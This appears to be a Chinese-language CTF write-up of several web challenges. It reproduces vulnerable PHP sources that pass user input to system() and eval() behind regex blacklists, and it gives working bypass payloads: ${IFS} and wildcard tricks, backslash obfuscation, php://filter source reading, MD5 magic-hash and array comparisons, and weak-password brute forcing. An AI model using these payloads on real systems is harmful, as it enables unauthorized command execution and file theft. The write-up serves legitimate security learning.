SYCTF2023
签到
源码

登录
进去直接先登录,但是随便试了几个均错误,以为是sql
,测了下没测出来,然后直接抓包去试了下弱口令爆破,真成了。。。。(不是哥们)


访问index.php
,获得flag

宝宝巴士
<?php
$rce = $_GET['rce']; if (isset($rce)) { if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { system($rce); }else { echo "hhhhhhacker!!!"."\n"; } } else { highlight_file(__FILE__); }
|
GET传参命令执行,先传一个rce=ls
查看flag位置

payload rce=uniq${IFS}/f??? #uniq用于过滤重复的行;${IFS} 是一个环境变量(内部字段分隔符),默认情况下,IFS 包含空格、制表符和换行符;/f???表示匹配f开头的目录 或 rce=c\at$IFS\../../../../../../../f\lag #反斜杠绕过,../表示相对路径
|

rce
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?>
|
payload c=system('ls'); #flag.php index.php c=echo system('cat f\lag.p\hp'); c=eval($_GET[1]);&1=system("cat flag.php"); c=include$_GET[aa]?>&aa=php://filter/read=convert.base64-encode/resource=flag.php 挺多姿势的,不过要注意除最后一个payload,其他都是在注释中,查看源码即可
|
XYNU2024信安杯
哎~想她了
ctrl+u看源码,发现又没踩坑

根据提示访问f14g.php
<?php
highlight_file(__FILE__); error_reporting(0); $a = $_GET['fj1']; $b = $_GET['fj2']; if($a!==$b&&md5($a)===md5($b)){ if(isset($_GET['cmd'])){ $cmd = $_GET['cmd']; if(!preg_match("/\;|cat|flag|[0-9]|\\$|\*|more|system|exec|tac/i", $cmd)){ system($cmd); } else{ die("哎~就差一点儿~我就可以拉到她的手~"); } } } else{ echo "哎~想她了~"; } ?>
|
先让a和b弱比较为0或者数组绕过
fj1=QNKCDZO&fj2=240610708 fj1[]=1&fj2[]=2
|
第二层less未被过滤,直接cmd=less /fla?
绕过
fj1[]=1&fj2[]=2&cmd=less /fla?
|